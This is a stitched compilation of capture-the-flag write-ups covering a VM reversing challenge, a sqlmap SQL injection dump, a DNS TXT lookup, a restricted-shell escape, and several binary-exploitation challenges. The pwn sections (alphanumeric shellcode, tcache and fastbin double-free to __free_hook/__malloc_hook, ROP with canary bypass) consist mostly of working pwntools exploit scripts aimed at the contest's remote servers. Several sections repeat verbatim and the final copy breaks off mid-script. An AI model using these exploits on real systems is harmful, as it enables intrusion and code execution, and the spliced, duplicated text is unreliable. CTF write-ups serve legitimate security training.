```bash$ haxe -D EMULATE --run Juggleins(0): PUSHI(0); stack: 0ins(1): PUSHI(8388608); stack: 8388608,0ins(2): PUSHI(1); stack: 1,8388608,0ins(3): PUSHI(1); stack: 1,1,8388608,0ins(4): JMP; stack: 8388608,0ins(0): PUSHI(2); stack: 2,8388608,0ins(1): PUSHI(1); stack: 1,2,8388608,0ins(2): DUPN; stack: 8388608,2,8388608,0ins(3): PUSHI(3); stack: 3,8388608,2,8388608,0ins(4): DUPN; stack: 0,8388608,2,8388608,0...... etc etc...ins(0): PUSHI(0); stack: 0,6830991,6830991ins(1): DROP; stack: 6830991ins(2): CHECK; checking 6830991 against 6830991 ... OK!stack: ins(3): END; flag!```
The submission generated is available [here](https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-12-27-35C3-CTF/scripts/sol.xml). After running it on the server, we get the flag:
`35C3_The_chef_gives_you_his_compliments` |
## easy-shell
The logic is simple, a `RWX` page is allocated from `mmap`, and we can execute arbitrary codes but contents must be `alphanum`. I used this [tool](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder). However, the only problem is that this generator requires `rax` to be near the `shellcode` and `rax + padding_len == shellcode address`, but `rax` is `0` when our `shellcode` is executed. Thus, we can add `push r12; pop rax` in front of our payload and let `padding_len == 3`, which is the length of `push r12; pop rax`.
```pythonfrom pwn import *context(arch='amd64')
file_name = "flag".ljust(8, '\x00')
sc = '''mov rax,%spush raxmov rdi,rspmov rax,2mov rsi,0syscall
mov rdi,raxsub rsp,0x20mov rsi,rspmov rdx,0x20mov rax,0syscall
mov rdi,0mov rsi,rspmov rdx,0x20mov rax,1syscall
''' % hex(u64(file_name))sc = asm(sc)print asm("push r12;pop rax;") + alphanum_encoder(sc, 3)```
Actually, by the way, `peasy-shell` can be done in the same way: just add more `push xxx; pop xxx;` to fill first page, and fill the second page with real payload being generated, which is `RWX`.
## HackIM Shop
A typical UAF and double free challenge. Firstly leak the address in `got` table to leak `libc` and find its version in `libc-database`, which is `2.27`, the same one in `Ubuntu 18.04 LTS`. This can be done by UAF and control the `pointer` field in the `struct`.
Then, since it is `2.27`, the `tcache` is used instead, so we can use `double free` to poison the `tcache` and `malloc` the chunk onto `__free_hook`, then rewrite it to `system` to get the shell.
`exp.py`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("./libc6_2.27.so")if g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh)else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 sh = remote("pwn.ctf.nullcon.net", 4002) #ONE_GADGET_OFF = 0x4557a
def add(name, name_len, price=0): sh.sendline("1") sh.recvuntil("name length: ") sh.sendline(str(name_len)) sh.recvuntil("name: ") sh.sendline(name) sh.recvuntil("price: ") sh.sendline(str(price)) sh.recvuntil("> ")
def remove(idx): sh.sendline("2") sh.recvuntil("index: ") sh.sendline(str(idx)) sh.recvuntil("> ")
def view(): sh.sendline("3") ret = sh.recvuntil("{") ret += sh.recvuntil("[") ret += sh.recvuntil("]") ret += sh.recvuntil("}") sh.recvuntil("> ") return ret
add("0", 0x38)add("1", 0x68)add("2", 0x68)remove(0)remove(1)#0x40 1 -> 0 -> 0 data
fake_struct = p64(0)fake_struct += p64(p.got["puts"])fake_struct += p64(0) + p8(0)
add(fake_struct, 0x38) #3leak = view()libc_addr = u64(leak[0x2e:0x2e+6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
add("4", 0x68)
#now bins are clear
add("5", 0x68)add("/bin/sh\x00", 0x68) #6add("/bin/sh\x00", 0x38)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)
remove(5)remove(5)remove(7) #prevent 0x40 from being used up
add(p64(libc_addr + e.symbols["__free_hook"]), 0x68)
add("consume", 0x68)
gots = ["system"]
fake_got = ""for g in gots: fake_got += p64(libc_addr + e.symbols[g])add(fake_got, 0x68)
sh.sendline("2")
sh.recvuntil("index: ")sh.sendline(str(6))sh.interactive()```
## babypwn
This challenge *seems* to be a format once string vulnerability, but there is nothing exploitable. The only address we have without leak is the program address `0x400000`, but there is nothing writable(neither `got table` nor `_fini_array`). The only possible write are `stdin` and `stdout`, but they will not be used before the program exits so it is useless to hijack their virtual tables.
Then I found another exploitable vulnerability
```cif ( (char)uint8 > 20 ){ perror("Coins that many are not supported :/\r\n"); exit(1);}for ( i = 0; i < uint8; ++i ){ v6 = &v10[4 * i]; _isoc99_scanf((__int64)"%d", (__int64)v6);}```
The check regard variable `uint8` as an `signed char` but it will be used as `unsigned char` later, so the value `> 0x7f` will pass the check and cause the stack overflow.
However, there is canary so we need to bypass this, but we cannot leak it since vulnerable `printf` is after this stack overflow. The key thing is there is no check against the return value of `scanf`, so we can let `scanf` to have some error so that `&v10[4 * i]` will not be rewritten and canary will remain unchanged. Then after we jump over the canary we can rewrite the return address and construct ROP chain. But how to make it have error? Initially I tried `"a"(any letter)`, but this fails, because even if the `scanf` returns with error in this iteration, it will also return directly with error later on without receiving any input so we cannot rewrite return address. It seems that the reason is that `"a"` does not comply the format `"%d"` so it will never be consumed by this `scanf("%d")`. So can we input something that satisfy format `"%d"` but still cause the error? I then came up with `"-"`, because `"%d"` allows negative number so the negative sign should be fine, but a single negative sign does not make any sense as a number so it will cause error. Then it works!
Finally the things became easy, just regard this as a normal stack overflow challenge, and I did not use that format string vulnerability
By the way, the `libc` version can be found by using format string vulnerability to leak address in `got` table, and search it in the `libc-database`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0x4526aif g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("pwn.ctf.nullcon.net", 4001)
POP_RDI = p64(0x400a43)def exploit_main(rop): sh.recvuntil("tressure box?\r\n") sh.sendline('y') sh.recvuntil("name: ") sh.sendline("2019") sh.recvuntil("do you have?\r\n") sh.sendline("128")
for i in xrange(0,22): sh.sendline(str(i)) for i in xrange(2): sh.sendline('-') #bypass canary sleep(1) for i in xrange(0,len(rop),4): sh.sendline(str(u32(rop[i:i+4]))) for i in xrange(0,128-22-2-len(rop)/4): sh.sendline("0") sh.recvuntil("created!\r\n")
rop = ""rop += p64(0)rop += POP_RDIrop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += p64(0x400806) #back to main
exploit_main(rop)
libc_addr = u64(sh.recvuntil('\x7f') + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
exploit_main(p64(0) + p64(libc_addr + ONE_GADGET_OFF))
sh.interactive()```
## tudutudututu
The program can create a `todo`, set the `description`, delete and print.
The `todo` structure is as shown below
```assembly00000000 todo struc ; (sizeof=0x10, align=0x8, mappedto_6)00000000 topic dq ? ; offset00000008 description dq ? ; offset00000010 todo ends```
The problem is, when creating the `todo` structure, the `description` field is not initialized. This can create UAF and arbitrary read.
Firstly since there is no PIE, we use arbitrary read to leak the address in `got` table, here we can also find the `libc` version, which is `2.23`.
Then, because `topic` is freed before `description`, the `description` is on the top of `topic` in the fast bin if they have same size. In this way if we allocate `todo` again, the UAF caused by no initialization of `description` field can give us heap address.
Then control the `description` field to point to a already freed `0x70` chunk, then set the description to cause double free, which poisons the fast bin and enable the fast bin attack. We can use `0x7f` trick to `malloc` a chunk onto `__malloc_hook`, and hijack the `rip` to `one_gadget`. Since buffer on the stack used to get input is quite large and we can easily set them to `0`, the condition of `one_gadget` can be easily satisfied.
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0xf1147if g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("pwn.ctf.nullcon.net", 4003)
sh.recvuntil("> ")
def create(topic): sh.sendline("1") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("> ")
def set_data(topic, data, data_len): sh.sendline("2") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("length: ") sh.sendline(str(data_len)) sh.recvuntil("Desc: ") sh.sendline(data) sh.recvuntil("> ")
def delete(topic): sh.sendline("3") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("> ")
def show(topic): sh.sendline("4") sh.recvuntil(topic + " - ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1]payload = 'A' * 8 + p64(p.got["puts"])create(payload)delete(payload)#now 0x20 * 2
unitialzed_todo = "unitialized data".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)libc_addr = u64(show(unitialzed_todo)[:6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
#bins empty
leak_todo = "leak".ljust(0x60, '_')create(leak_todo)set_data(leak_todo, 'A', 0x60)delete(leak_todo)create("leak")
heap_addr = u64(show("leak").ljust(8, '\x00')) - 0x10f0print hex(heap_addr)
#now 0x70 *2
for i in xrange(3): create("tmp".ljust(0x60, str(i)))for i in [1,0,2]: delete("tmp".ljust(0x60, str(i)))
#now 0x20 * 3 + 0x70 * 3
payload = 'A' * 8 + p64(heap_addr + 0x1170)
create(payload)delete(payload)
unitialzed_todo = "unitialized data 2".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)
set_data(unitialzed_todo, 'A', 0x10)# now 0x70 are poisoned and all others are empty
for i in xrange(4): create("getshell" + str(i))
set_data("getshell0", p64(libc_addr + e.symbols["__malloc_hook"] - 0x23), 0x60)set_data("getshell1", 'a', 0x60)set_data("getshell2", 'b', 0x60)set_data("getshell3".ljust(0x100, '\x00'), '\x00' * 0x13 + p64(libc_addr + ONE_GADGET_OFF), 0x60)
sh.sendline("1")sh.recvuntil("topic: ")sh.sendline("123")
sh.interactive()```
## rev3al
### Initialization of VM
This is a VM reverse challenge, which is a bit complicated but not very hard; it is solvable if enough time was spent.
```ctext = (unsigned int *)mmap(0LL, 0xA00uLL, 3, 34, 0, 0LL);if ( text != (unsigned int *)-1LL ){ mem = (unsigned __int8 *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL); if ( mem != (unsigned __int8 *)-1LL ) { jmp_tab = (unsigned int *)mmap(0LL, 0x100uLL, 3, 34, 0, 0LL); if ( text != (unsigned int *)-1LL ) {//...```
Initially, 3 pages are allocated by `mmap`.
Then input is obtained by `cin`
```cinput.ptr = input.data;input.size = 0LL;input.data[0] = 0;std::operator<<<std::char_traits<char>>(&std::cout, "Go for it:\n");std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);if ( input.size - 1 > 0xD ) // <= 0xe == 14 exit(1);```
While the definition of `std::string` in `x86-64 Linux` is
```assembly00000000 std::string struc ; (sizeof=0x20, align=0x8, mappedto_10)00000000 ptr dq ? ; XREF: main+BC/w00000008 size dq ? ; XREF: main+C0/w00000010 data db 16 dup(?) ; XREF: main+B8/o00000020 std::string ends```
Since the length here is not longer than 16 bytes (<= 14), the last 16 bytes are always `char array` instead of pointer to heap.
Then `mem` and `jmp_tab` are initialized to 0 in weird but fast way, which are not important. Then input is copied to `mem+200`, and virtual registers of the VM is initialized to 0. (I actually found them to be registers later when I was analyzing the VM)
```cqmemcpy(mem + 200, input.ptr, 14uLL); // input size == 14i = 5;do{ a2a = 0; vector::push_back(®s, &a2a); --i;}while ( i );```
The `regs` are `std::vector`, and each element is `uint8_t`. I found it to be `std::vector` and the function to be `push_back` by debugging and guessing. (It is quite unreasonable to reverse the STL lib function)
The definition of `std::vector<uint8_t>` is as shown
```assembly00000000 std::vector struc ; (sizeof=0x18, mappedto_11)00000000 ptr dq ? ; XREF: main:loc_1EF3/r00000008 end dq ? ; XREF: main+277/w ; offset00000010 real_end dq ? ; offset00000018 std::vector ends```
Then it is the codes to initialize and run the VM.
```cregs.ptr[3] = 0;tmp.ptr = tmp.data;std::string::assign(&tmp, chal1.ptr, &chal1.ptr[chal1.size]);vm_init(&tmp);if ( tmp.ptr != tmp.data ) operator delete(tmp.ptr);vm_run();```
`tmp` is also `std::string`, and `std::string::assign` assign the value of `chal1` to `tmp`. Where is `chal1` defined? By using cross reference in IDA, we found that it is initialized in function `0x2042`, which is declared in `_init_array` and will be called before `main` function. Except some basic C++ initialization stuff, it also assign `"chal.o.1"` to `chal1` and assign `"chal.o.2"` to `chal2`, which are obviously the file names of files being provided.
Back to the `main` function. In function `vm_init`, it simply loads the file into `text` memory page. There are many C++ stuff in this function and they are hard to read, but luckily they are not important so we do not need to focus on them.
```c++std::istream::read(&v5, (char *)text, v2); // critical step```
The logic that cause the correct information to be outputted is easy: after running first VM `mem[1]` must be true, and after running second VM `mem[2]` must be true. Even if it can also be the case that `mem[2]` becomes true and `mem[1]` remains 0 after the first VM, this is not very possible I guess, otherwise the file `"chal.o.2"` will be useless.
### VM Analysis
The `vm_run` function is as shown
```cvoid __cdecl vm_run(){ unsigned int *t; // rbx unsigned int j; // ecx unsigned int i; // eax
t = text; j = 0; i = 0; do { if ( (HIWORD(text[i]) & 0xF) == 0xC ) // high word of each instruction jmp_tab[j++] = i; // record the index of instruction to jmp tab ++i; } while ( i <= 0x3F && j <= 0x3F ); bContiue = 1; do one_instr(t[regs.ptr[3]]); while ( bContiue );}
void __fastcall one_instr(unsigned int instr){ unsigned int high_word; // eax unsigned __int8 dst; // dl unsigned int src; // edi unsigned __int8 *v4; // rdx unsigned __int8 v5; // al unsigned __int8 v6; // cl unsigned __int8 *v7; // rax
high_word = (instr >> 0x10) & 0xF; dst = instr & 3; src = (instr >> 2) & 3; if ( dst == 3 ) dst = 2; if ( (_BYTE)src == 3 ) LOBYTE(src) = 2; switch ( (_BYTE)high_word ) { case 0: bContiue = 0; break; case 1: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[(unsigned __int8)src]] + mem[regs.ptr[dst]]; else regs.ptr[dst] += regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 2: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[dst]] - mem[regs.ptr[(unsigned __int8)src]]; else regs.ptr[dst] -= regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 3: if ( regs.ptr[4] ) regs.ptr[dst] = mem[regs.ptr[dst]] * mem[regs.ptr[(unsigned __int8)src]]; else regs.ptr[dst] *= regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 4: if ( regs.ptr[4] ) { v4 = ®s.ptr[dst]; v5 = mem[*v4] / mem[regs.ptr[(unsigned __int8)src]]; } else { v4 = ®s.ptr[dst]; v5 = *v4 / regs.ptr[(unsigned __int8)src]; } *v4 = v5; ++regs.ptr[3]; break; case 5: if ( regs.ptr[4] ) v6 = mem[regs.ptr[(unsigned __int8)src]]; else v6 = regs.ptr[(unsigned __int8)src]; regs.ptr[dst] = v6; ++regs.ptr[3]; break; case 6: if ( regs.ptr[4] ) mem[regs.ptr[dst]] = mem[regs.ptr[(unsigned __int8)src]]; else mem[regs.ptr[dst]] = regs.ptr[(unsigned __int8)src]; ++regs.ptr[3]; break; case 7: regs.ptr[3] = regs.ptr[dst]; break; case 8: regs.ptr[4] = (regs.ptr[4] ^ 1) & 1; ++regs.ptr[3]; break; case 9: if ( regs.ptr[dst] ) { ++regs.ptr[3]; } else if ( regs.ptr[4] ) { regs.ptr[3] += regs.ptr[(unsigned __int8)src]; } else { regs.ptr[3] = regs.ptr[(unsigned __int8)src]; } break; case 10: regs.ptr[dst] = src; ++regs.ptr[3]; break; case 11: if ( regs.ptr[4] ) { v7 = &mem[regs.ptr[dst]]; ++*v7; } else { ++regs.ptr[dst]; } ++regs.ptr[3]; break; case 12: ++regs.ptr[3]; break; default: std::operator<<<std::char_traits<char>>(&std::cerr, "Invalid instruction!\n"); exit(1); return; }}```
Each instruction is 4-bytes; there are 4 registers that can be directly accessed by the VM program; the opcode is 4 bits; `r4` controls a "mode", and some instructions will perform differently when the `r4` is different.
Then it takes some time to write a [disassembler](disasm.py), and after then we can disassemble these 2 files to further analyze.
### VM Program Analysis
After generating the assembly codes of this VM, we found that it would use some operations to produce a specific constant, because the only possible immediate numbers in this instruction set are `0-3`. It will produce `200` at the beginning, which is the address of our input, and then store it at address `0` for further usage. After analyzing a few characters of the input, I found the pattern that it will load the input character into register, minus it by a particular number, and compare it with zero. The program will stop if the result is not zero. My approach is to translate the assembly into Python, and set the inputs to zero. When comparing the input with zero, we output the negation of the character, which is the correct input. Here is the translated [script](1.py).
Note: we need to change all these things:
1. `switch` instruction, which is useless2. all arithmetic operation must have a `%0x100` after it3. all memory read/write to array accessing4. all conditional jumps to print negation of the condition
```accessing 200waccessing 0accessing 2041accessing 0accessing 213taccessing 0accessing 201haccessing 0accessing 207Daccessing 0accessing 203Naccessing 0accessing 210kaccessing 0accessing 205Taccessing 0accessing 211----------86`accessing 1256accessing 0accessing 206saccessing 0accessing 212uaccessing 0accessing 2023accessing 0accessing 2084```
Then just inspect the output and reconstruct the flag.
But, except character at `[11]`, is `[11] * 2 - 86 == 10`. Since it multiplies the character by 2, the previous method does not work, so we must solve this manually, which is `'0'`. This actually takes me some time.
So the final flag is `wh3N1TsD4?k0ut`, while the `?` seems to be any character. |
# Das Blog 2 (Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
## Challenge solution
This challenge is basically the same as `Das blog 1`, except when we login the flag is not there. This means the flag is probably hidden in the database. We can use the sql injection to dump the database with `sqlmap`.
First I save the POST request to a text file which we will then use in sqlmap.
```POST https://challenges.neverlanctf.com:1130/login.php? HTTP/1.1Host: challenges.neverlanctf.com:1130Connection: keep-aliveContent-Length: 38Pragma: no-cacheCache-Control: no-cacheOrigin: https://challenges.neverlanctf.com:1130Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/71.0.3578.98 Chrome/71.0.3578.98 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: https://challenges.neverlanctf.com:1130/login.php?Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=qc72d1v1nl3ufbj6b1bipqrdkv
Username=asd&Password=asd&submit=Login```
```bash$ sqlmap -r post.txt -p "Username"```
We know it's vulnerable, let's dump the databases.
```bash$ sqlmap -r post.txt -p "Username" --dbs...available databases [3]: [*] blog[*] information_schema[*] test```
Dumping the tables
```bash$ sqlmap -r post.txt -p "Username" --tablesDatabase: blog[2 tables]+---------------------------------------+| posts || users |+---------------------------------------+```
Then we can dump the data of the table `posts`.
```$ sqlmap -r post.txt -p "Username" --dump posts... flag{Pwn3d_W1th_SQL}...``` |
Challenge text suggested to lookup, took this to be a pointer for dns lookup, lucky guess
fire off dig to get all records we get a base64 string in the txt record
`dig any bitsctf.cf`
* ; <<>> DiG 9.11.5-P1-1-Debian <<>> any bitsctf.cf* ;; global options: +cmd* ;; Got answer:* ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35558* ;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 1* * ;; OPT PSEUDOSECTION:* ; EDNS: version: 0, flags:; udp: 512* ;; QUESTION SECTION:* ;bitsctf.cf. IN ANY* * ;; ANSWER SECTION:* bitsctf.cf. 3599 IN SOA ns31.cloudns.net. support.cloudns.net. 2019020101 7200 1800 1209600 3600* bitsctf.cf. 3599 IN A 35.226.250.134* bitsctf.cf. 3599 IN NS ns32.cloudns.net.* bitsctf.cf. 3599 IN NS ns33.cloudns.net.* bitsctf.cf. 3599 IN NS ns31.cloudns.net.* bitsctf.cf. 3599 IN NS ns34.cloudns.net.* bitsctf.cf. 3599 IN TXT "L25vZGUvZG5zLXRyb3VibGU="* * ;; Query time: 100 msec* ;; SERVER: 8.8.8.8#53(8.8.8.8)* ;; WHEN: Tue Feb 05 12:34:36 CET 2019* ;; MSG SIZE rcvd: 223
decoding using base64 -d we get/node/dns-trouble
Hitting the page, came up with nothing until checking the headers, the flag was in the X-Flag: response header
`BITSCTF{7h15_w45_345y_dn5}` |
This challenge had you ssh to a box with a specific user, password, and port combination.
When connected, you were in a restricted shell that simply prompted you with "Your input:"
I entered /bin/bash as my input which dropped me to a quasi usable shell. What made this a real challenge for me was the extremely limited set of commands you could run, and the fact that all command output was not sent to standard out.
Tab completion helped me find the file that contained the flag, and ultimately, redirecting standard out to standard error got me the flag. Here's the commands that I used to solve this one:
```Your input:/bin/bashbash-4.3$ lsbash: ls: command not foundbash-4.3$ cd /home/u1/ #note: tab completion output seen below this line.bash_profile Desktop/ Music/ Videos/ flag.txt.bashrc Documents/ Pictures/ bin/ programs/bash-4.3$ echo "$(</home/u1/flag.txt)"bash-4.3$ echo "$(</home/u1/flag.txt)" 1>&2Pass: evlz{0ut_0f_ech0}ctfbash-4.3$ ``` |
## easy-shell
The logic is simple, a `RWX` page is allocated from `mmap`, and we can execute arbitrary codes but contents must be `alphanum`. I used this [tool](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder). However, the only problem is that this generator requires `rax` to be near the `shellcode` and `rax + padding_len == shellcode address`, but `rax` is `0` when our `shellcode` is executed. Thus, we can add `push r12; pop rax` in front of our payload and let `padding_len == 3`, which is the length of `push r12; pop rax`.
```pythonfrom pwn import *context(arch='amd64')
file_name = "flag".ljust(8, '\x00')
sc = '''mov rax,%spush raxmov rdi,rspmov rax,2mov rsi,0syscall
mov rdi,raxsub rsp,0x20mov rsi,rspmov rdx,0x20mov rax,0syscall
mov rdi,0mov rsi,rspmov rdx,0x20mov rax,1syscall
''' % hex(u64(file_name))sc = asm(sc)print asm("push r12;pop rax;") + alphanum_encoder(sc, 3)```
Actually, by the way, `peasy-shell` can be done in the same way: just add more `push xxx; pop xxx;` to fill first page, and fill the second page with real payload being generated, which is `RWX`.
## HackIM Shop
A typical UAF and double free challenge. Firstly leak the address in `got` table to leak `libc` and find its version in `libc-database`, which is `2.27`, the same one in `Ubuntu 18.04 LTS`. This can be done by UAF and control the `pointer` field in the `struct`.
Then, since it is `2.27`, the `tcache` is used instead, so we can use `double free` to poison the `tcache` and `malloc` the chunk onto `__free_hook`, then rewrite it to `system` to get the shell.
`exp.py`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("./libc6_2.27.so")if g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh)else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 sh = remote("pwn.ctf.nullcon.net", 4002) #ONE_GADGET_OFF = 0x4557a
def add(name, name_len, price=0): sh.sendline("1") sh.recvuntil("name length: ") sh.sendline(str(name_len)) sh.recvuntil("name: ") sh.sendline(name) sh.recvuntil("price: ") sh.sendline(str(price)) sh.recvuntil("> ")
def remove(idx): sh.sendline("2") sh.recvuntil("index: ") sh.sendline(str(idx)) sh.recvuntil("> ")
def view(): sh.sendline("3") ret = sh.recvuntil("{") ret += sh.recvuntil("[") ret += sh.recvuntil("]") ret += sh.recvuntil("}") sh.recvuntil("> ") return ret
add("0", 0x38)add("1", 0x68)add("2", 0x68)remove(0)remove(1)#0x40 1 -> 0 -> 0 data
fake_struct = p64(0)fake_struct += p64(p.got["puts"])fake_struct += p64(0) + p8(0)
add(fake_struct, 0x38) #3leak = view()libc_addr = u64(leak[0x2e:0x2e+6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
add("4", 0x68)
#now bins are clear
add("5", 0x68)add("/bin/sh\x00", 0x68) #6add("/bin/sh\x00", 0x38)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)add("/bin/sh\x00", 0x68)
remove(5)remove(5)remove(7) #prevent 0x40 from being used up
add(p64(libc_addr + e.symbols["__free_hook"]), 0x68)
add("consume", 0x68)
gots = ["system"]
fake_got = ""for g in gots: fake_got += p64(libc_addr + e.symbols[g])add(fake_got, 0x68)
sh.sendline("2")
sh.recvuntil("index: ")sh.sendline(str(6))sh.interactive()```
## babypwn
This challenge *seems* to be a format once string vulnerability, but there is nothing exploitable. The only address we have without leak is the program address `0x400000`, but there is nothing writable(neither `got table` nor `_fini_array`). The only possible write are `stdin` and `stdout`, but they will not be used before the program exits so it is useless to hijack their virtual tables.
Then I found another exploitable vulnerability
```cif ( (char)uint8 > 20 ){ perror("Coins that many are not supported :/\r\n"); exit(1);}for ( i = 0; i < uint8; ++i ){ v6 = &v10[4 * i]; _isoc99_scanf((__int64)"%d", (__int64)v6);}```
The check regard variable `uint8` as an `signed char` but it will be used as `unsigned char` later, so the value `> 0x7f` will pass the check and cause the stack overflow.
However, there is canary so we need to bypass this, but we cannot leak it since vulnerable `printf` is after this stack overflow. The key thing is there is no check against the return value of `scanf`, so we can let `scanf` to have some error so that `&v10[4 * i]` will not be rewritten and canary will remain unchanged. Then after we jump over the canary we can rewrite the return address and construct ROP chain. But how to make it have error? Initially I tried `"a"(any letter)`, but this fails, because even if the `scanf` returns with error in this iteration, it will also return directly with error later on without receiving any input so we cannot rewrite return address. It seems that the reason is that `"a"` does not comply the format `"%d"` so it will never be consumed by this `scanf("%d")`. So can we input something that satisfy format `"%d"` but still cause the error? I then came up with `"-"`, because `"%d"` allows negative number so the negative sign should be fine, but a single negative sign does not make any sense as a number so it will cause error. Then it works!
Finally the things became easy, just regard this as a normal stack overflow challenge, and I did not use that format string vulnerability
By the way, the `libc` version can be found by using format string vulnerability to leak address in `got` table, and search it in the `libc-database`
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0x4526aif g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("pwn.ctf.nullcon.net", 4001)
POP_RDI = p64(0x400a43)def exploit_main(rop): sh.recvuntil("tressure box?\r\n") sh.sendline('y') sh.recvuntil("name: ") sh.sendline("2019") sh.recvuntil("do you have?\r\n") sh.sendline("128")
for i in xrange(0,22): sh.sendline(str(i)) for i in xrange(2): sh.sendline('-') #bypass canary sleep(1) for i in xrange(0,len(rop),4): sh.sendline(str(u32(rop[i:i+4]))) for i in xrange(0,128-22-2-len(rop)/4): sh.sendline("0") sh.recvuntil("created!\r\n")
rop = ""rop += p64(0)rop += POP_RDIrop += p64(p.got["puts"])rop += p64(p.plt["puts"])rop += p64(0x400806) #back to main
exploit_main(rop)
libc_addr = u64(sh.recvuntil('\x7f') + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
exploit_main(p64(0) + p64(libc_addr + ONE_GADGET_OFF))
sh.interactive()```
## tudutudututu
The program can create a `todo`, set the `description`, delete and print.
The `todo` structure is as shown below
```assembly00000000 todo struc ; (sizeof=0x10, align=0x8, mappedto_6)00000000 topic dq ? ; offset00000008 description dq ? ; offset00000010 todo ends```
The problem is, when creating the `todo` structure, the `description` field is not initialized. This can create UAF and arbitrary read.
Firstly since there is no PIE, we use arbitrary read to leak the address in `got` table, here we can also find the `libc` version, which is `2.23`.
Then, because `topic` is freed before `description`, the `description` is on the top of `topic` in the fast bin if they have same size. In this way if we allocate `todo` again, the UAF caused by no initialization of `description` field can give us heap address.
Then control the `description` field to point to a already freed `0x70` chunk, then set the description to cause double free, which poisons the fast bin and enable the fast bin attack. We can use `0x7f` trick to `malloc` a chunk onto `__malloc_hook`, and hijack the `rip` to `one_gadget`. Since buffer on the stack used to get input is quite large and we can easily set them to `0`, the condition of `one_gadget` can be easily satisfied.
```pythonfrom pwn import *import jsong_local=Truecontext.log_level='debug'p = ELF('./challenge')e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")ONE_GADGET_OFF = 0xf1147if g_local: sh = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("pwn.ctf.nullcon.net", 4003)
sh.recvuntil("> ")
def create(topic): sh.sendline("1") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("> ")
def set_data(topic, data, data_len): sh.sendline("2") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("length: ") sh.sendline(str(data_len)) sh.recvuntil("Desc: ") sh.sendline(data) sh.recvuntil("> ")
def delete(topic): sh.sendline("3") sh.recvuntil("topic: ") sh.sendline(topic) sh.recvuntil("> ")
def show(topic): sh.sendline("4") sh.recvuntil(topic + " - ") ret = sh.recvuntil('\n') sh.recvuntil("> ") return ret[:-1]payload = 'A' * 8 + p64(p.got["puts"])create(payload)delete(payload)#now 0x20 * 2
unitialzed_todo = "unitialized data".ljust(0x30, '_')create("consume 0x20".ljust(0x30, '_'))create(unitialzed_todo)libc_addr = u64(show(unitialzed_todo)[:6] + '\x00\x00') - e.symbols["puts"]print hex(libc_addr)
#bins empty
leak_todo = "leak".ljust(0x60, '_')create(leak_todo)set_data(leak_todo, 'A', 0x60)delete(leak_todo)create("leak")
heap_addr = u64(show("leak").ljust(8, '\x00')) - 0x10f0print hex(heap_addr)
#now 0x70 *2
